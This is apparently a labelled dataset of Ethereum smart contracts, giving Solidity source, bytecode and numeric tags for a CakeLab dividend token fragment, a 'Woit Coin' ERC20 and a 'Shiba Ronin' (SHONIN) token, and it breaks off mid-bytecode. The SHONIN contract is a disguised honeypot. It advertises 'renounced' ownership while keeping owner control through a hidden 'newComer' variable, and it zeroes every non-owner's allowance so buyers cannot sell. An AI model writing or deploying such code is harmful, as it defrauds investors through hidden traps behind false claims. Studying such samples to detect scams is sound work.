to != owner() ) { swapping = true; uint256 marketingTokens = contractTokenBalance.mul(onSellMarketingFee).div(onSellTotalFees); swapAndSendToFee(marketingTokens); uint256 swapTokens = contractTokenBalance.mul(onSellLiquidityFee).div(onSellTotalFees); swapAndLiquify(swapTokens); uint256 sellTokens = balanceOf(address(this)); swapAndSendDividends(sellTokens); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } if(takeFee) { uint256 fees = amount.mul(totalFees).div(100); if(automatedMarketMakerPairs[to]){ fees = amount.mul(onSellTotalFees).div(100); } amount = amount.sub(fees); super._transfer(from, address(this), fees); } super._transfer(from, to, amount); try dividendTracker.setBalance(payable(from), balanceOf(from)) {} catch {} try dividendTracker.setBalance(payable(to), balanceOf(to)) {} catch {} if(!swapping) { uint256 gas = gasForProcessing; try dividendTracker.process(gas) returns (uint256 iterations, uint256 claims, uint256 lastProcessedIndex) { emit ProcessedDividendTracker(iterations, claims, lastProcessedIndex, true, gas, tx.origin); } catch { } } } function swapAndSendToFee(uint256 tokens) private { uint256 initialAPEBalance = IERC20(APE).balanceOf(address(this)); swapTokensForCake(tokens); uint256 newBalance = (IERC20(APE).balanceOf(address(this))).sub(initialAPEBalance); IERC20(APE).transfer(_marketingWalletAddress, newBalance); } function swapAndLiquify(uint256 tokens) private { // split the contract balance into halves uint256 half = tokens.div(2); uint256 otherHalf = tokens.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function swapTokensForCake(uint256 tokenAmount) private { address[] memory path = new address[](3); path[0] = address(this); path[1] = uniswapV2Router.WETH(); path[2] = APE; _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(0), block.timestamp ); } function swapAndSendDividends(uint256 tokens) private{ swapTokensForCake(tokens); uint256 dividends = IERC20(APE).balanceOf(address(this)); bool success = IERC20(APE).transfer(address(dividendTracker), dividends); if (success) { dividendTracker.distributeCAKEDividends(dividends); emit SendDividends(tokens, dividends); } } } contract CakeLabDividendTracker is Ownable, DividendPayingToken { using SafeMath for uint256; using SafeMathInt for int256; using IterableMapping for IterableMapping.Map; IterableMapping.Map private tokenHoldersMap; uint256 public lastProcessedIndex; mapping (address => bool) public excludedFromDividends; mapping (address => uint256) public lastClaimTimes; uint256 public claimWait; uint256 public immutable minimumTokenBalanceForDividends; event ExcludeFromDividends(address indexed account); event ClaimWaitUpdated(uint256 indexed newValue, uint256 indexed oldValue); event Claim(address indexed account, uint256 amount, bool indexed automatic); constructor() public DividendPayingToken("CakeLab_Dividen_Tracker", "CakeLab_Dividend_Tracker") { claimWait = 3600; minimumTokenBalanceForDividends = 200000 * (10**18); //must hold 200000+ tokens } function _transfer(address, address, uint256) internal override { require(false, "CakeLab_Dividend_Tracker: No transfers allowed"); } function withdrawDividend() public override { require(false, "CakeLab_Dividend_Tracker: withdrawDividend disabled. Use the 'claim' function on the main CakeLab contract."); } function excludeFromDividends(address account) external onlyOwner { require(!excludedFromDividends[account]); excludedFromDividends[account] = true; _setBalance(account, 0); tokenHoldersMap.remove(account); emit ExcludeFromDividends(account); } function updateClaimWait(uint256 newClaimWait) external onlyOwner { require(newClaimWait >= 3600 && newClaimWait <= 86400, "CakeLab_Dividend_Tracker: claimWait must be updated to between 1 and 24 hours"); require(newClaimWait != claimWait, "CakeLab_Dividend_Tracker: Cannot update claimWait to same value"); emit ClaimWaitUpdated(newClaimWait, claimWait); claimWait = newClaimWait; } function getLastProcessedIndex() external view returns(uint256) { return lastProcessedIndex; } function getNumberOfTokenHolders() external view returns(uint256) { return tokenHoldersMap.keys.length; } function getAccount(address _account) public view returns ( address account, int256 index, int256 iterationsUntilProcessed, uint256 withdrawableDividends, uint256 totalDividends, uint256 lastClaimTime, uint256 nextClaimTime, uint256 secondsUntilAutoClaimAvailable) { account = _account; index = tokenHoldersMap.getIndexOfKey(account); iterationsUntilProcessed = -1; if(index >= 0) { if(uint256(index) > lastProcessedIndex) { iterationsUntilProcessed = index.sub(int256(lastProcessedIndex)); } else { uint256 processesUntilEndOfArray = tokenHoldersMap.keys.length > lastProcessedIndex ? tokenHoldersMap.keys.length.sub(lastProcessedIndex) : 0; iterationsUntilProcessed = index.add(int256(processesUntilEndOfArray)); } } withdrawableDividends = withdrawableDividendOf(account); totalDividends = accumulativeDividendOf(account); lastClaimTime = lastClaimTimes[account]; nextClaimTime = lastClaimTime > 0 ? lastClaimTime.add(claimWait) : 0; secondsUntilAutoClaimAvailable = nextClaimTime > block.timestamp ? nextClaimTime.sub(block.timestamp) : 0; } function getAccountAtIndex(uint256 index) public view returns ( address, int256, int256, uint256, uint256, uint256, uint256, uint256) { if(index >= tokenHoldersMap.size()) { return (0x0000000000000000000000000000000000000000, -1, -1, 0, 0, 0, 0, 0); } address account = tokenHoldersMap.getKeyAtIndex(index); return getAccount(account); } function canAutoClaim(uint256 lastClaimTime) private view returns (bool) { if(lastClaimTime > block.timestamp) { return false; } return block.timestamp.sub(lastClaimTime) >= claimWait; } function setBalance(address payable account, uint256 newBalance) external onlyOwner { if(excludedFromDividends[account]) { return; } if(newBalance >= minimumTokenBalanceForDividends) { _setBalance(account, newBalance); tokenHoldersMap.set(account, newBalance); } else { _setBalance(account, 0); tokenHoldersMap.remove(account); } processAccount(account, true); } function process(uint256 gas) public returns (uint256, uint256, uint256) { uint256 numberOfTokenHolders = tokenHoldersMap.keys.length; if(numberOfTokenHolders == 0) { return (0, 0, lastProcessedIndex); } uint256 _lastProcessedIndex = lastProcessedIndex; uint256 gasUsed = 0; uint256 gasLeft = gasleft(); uint256 iterations = 0; uint256 claims = 0; while(gasUsed < gas && iterations < numberOfTokenHolders) { _lastProcessedIndex++; if(_lastProcessedIndex >= tokenHoldersMap.keys.length) { _lastProcessedIndex = 0; } address account = tokenHoldersMap.keys[_lastProcessedIndex]; if(canAutoClaim(lastClaimTimes[account])) { if(processAccount(payable(account), true)) { claims++; } } iterations++; uint256 newGasLeft = gasleft(); if(gasLeft > newGasLeft) { gasUsed = gasUsed.add(gasLeft.sub(newGasLeft)); } gasLeft = newGasLeft; } lastProcessedIndex = _lastProcessedIndex; return (iterations, claims, lastProcessedIndex); } function processAccount(address payable account, bool automatic) public onlyOwner returns (bool) { uint256 amount = _withdrawDividendOfUser(account); if(amount > 0) { lastClaimTimes[account] = block.timestamp; emit Claim(account, amount, automatic); return true; } return false; } }
0x73f37f32a57f889859b1bd1629b8617a6d3bd69793301460806040526004361061006c5760003560e01c806317e142d1146100715780634c60db9c146100af578063732a2ccf146100ea578063bc2b405c14610116578063d1aa9e7e14610155578063deb3d89614610194575b600080fd5b61009d6004803603604081101561008757600080fd5b50803590602001356001600160a01b03166101b1565b60408051918252519081900360200190f35b8180156100bb57600080fd5b506100e8600480360360408110156100d257600080fd5b50803590602001356001600160a01b03166101ff565b005b61009d6004803603604081101561010057600080fd5b50803590602001356001600160a01b031661031e565b81801561012257600080fd5b506100e86004803603606081101561013957600080fd5b508035906001600160a01b03602082013516906040013561033d565b6101786004803603604081101561016b57600080fd5b50803590602001356103e7565b604080516001600160a01b039092168252519081900360200190f35b61009d600480360360208110156101aa57600080fd5b5035610414565b6001600160a01b038116600090815260038301602052604081205460ff166101dc57506000196101f9565b506001600160a01b03811660009081526002830160205260409020545b92915050565b6001600160a01b038116600090815260038301602052604090205460ff166102265761031a565b6001600160a01b03811660009081526003830160209081526040808320805460ff19169055600185018252808320839055600285019091528120548354909160001982019185908390811061027757fe5b60009182526020808320909101546001600160a01b039081168084526002890190925260408084208790559087168352822091909155855490915081908690859081106102c057fe5b600091825260209091200180546001600160a01b0319166001600160a01b039290921691909117905584548590806102f457fe5b600082815260209020810160001990810180546001600160a01b03191690550190555050505b5050565b6001600160a01b03166000908152600191909101602052604090205490565b6001600160a01b038216600090815260038401602052604090205460ff1615610382576001600160a01b038216600090815260018401602052604090208190556103e2565b6001600160a01b03821660008181526003850160209081526040808320805460ff19166001908117909155878101835281842086905587546002890184529184208290558101875586835291200180546001600160a01b03191690911790555b505050565b60008260000182815481106103f857fe5b6000918252602090912001546001600160a01b03169392505050565b549056fea2646970667358221220b560f9dbb280502c6a9410f1b628a461ffc6d9b8550bc3614bf01951c403397264736f6c634300060c0033
[ 7, 11, 12, 13, 16, 5 ]
0xf37fa977fac74400bd3d5ee473efbd7e7355d94f
pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 100000000; // Give the creator all initial tokens (100000 for example) totalSupply = 100000000; // Update total supply (100000 for example) name = "Woit Coin"; // Set the name for display purposes decimals = 0; // Amount of decimals for display purposes symbol = "WOIT"; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
0x6060604052600436106100955763ffffffff60e060020a60003504166306fdde0381146100a5578063095ea7b31461012f57806318160ddd1461016557806323b872dd1461018a578063313ce567146101b257806354fd4d50146101db57806370a08231146101ee57806395d89b411461020d578063a9059cbb14610220578063cae9ca5114610242578063dd62ed3e146102a7575b34156100a057600080fd5b600080fd5b34156100b057600080fd5b6100b86102cc565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156100f45780820151838201526020016100dc565b50505050905090810190601f1680156101215780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561013a57600080fd5b610151600160a060020a036004351660243561036a565b604051901515815260200160405180910390f35b341561017057600080fd5b6101786103d7565b60405190815260200160405180910390f35b341561019557600080fd5b610151600160a060020a03600435811690602435166044356103dd565b34156101bd57600080fd5b6101c56104d3565b60405160ff909116815260200160405180910390f35b34156101e657600080fd5b6100b86104dc565b34156101f957600080fd5b610178600160a060020a0360043516610547565b341561021857600080fd5b6100b8610562565b341561022b57600080fd5b610151600160a060020a03600435166024356105cd565b341561024d57600080fd5b61015160048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061067095505050505050565b34156102b257600080fd5b610178600160a060020a036004358116906024351661080c565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103625780601f1061033757610100808354040283529160200191610362565b820191906000526020600020905b81548152906001019060200180831161034557829003601f168201915b505050505081565b600160a060020a03338116600081815260016020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b60025481565b600160a060020a03831660009081526020819052604081205482901080159061042d5750600160a060020a0380851660009081526001602090815260408083203390941683529290522054829010155b80156104395750600082115b156104c857600160a060020a0380841660008181526020818152604080832080548801905588851680845281842080548990039055600183528184203390961684529490915290819020805486900390559091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060016104cc565b5060005b9392505050565b60045460ff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103625780601f1061033757610100808354040283529160200191610362565b600160a060020a031660009081526020819052604090205490565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103625780601f1061033757610100808354040283529160200191610362565b600160a060020a0333166000908152602081905260408120548290108015906105f65750600082115b1561066857600160a060020a033381166000818152602081905260408082208054879003905592861680825290839020805486019055917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060016103d1565b5060006103d1565b600160a060020a03338116600081815260016020908152604080832094881680845294909152808220869055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259086905190815260200160405180910390a383600160a060020a03166040517f72656365697665417070726f76616c28616464726573732c75696e743235362c81527f616464726573732c6279746573290000000000000000000000000000000000006020820152602e01604051809103902060e060020a9004338530866040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a03168152602001828051906020019080838360005b838110156107b1578082015183820152602001610799565b50505050905090810190601f1680156107de5780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af192505050151561080257600080fd5b5060019392505050565b600160a060020a039182166000908152600160209081526040808320939094168252919091522054905600a165627a7a7230582087548977118ad9348678ea63fb81af96fa4370087c4c510dbf693425679040690029
[ 38 ]
0xf37fbb5fd84791477169123ccd685b9f649414f6
/* A rōnin was a samurai warrior in feudal Japan without a master or lord — known as a daimyo. A samurai could become a ronin in several different ways: his master might die or fall from power or the samurai might lose his master's favor or patronage and be cast off. $SHONIN serves no one and has no master. It is the exile that revels in its own solitude and stands for nothing but itself. Tokenomics 10,000,000 $SHONIN 13% Buy tax 17% Sell tax first hour, 13% thereafter Safunomics No team tokens Locked & renounced Anti-bot (block 0-1 automatically blacklisted) Twitter: https://twitter.com/shiba_ronin Website: https://shibaronin.com TG: https://t.me/shibaronin */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract SHONIN is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 10* 10**6* 10**18; string private _name = 'Shiba Ronin ' ; string private _symbol = 'SHONIN ' ; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffff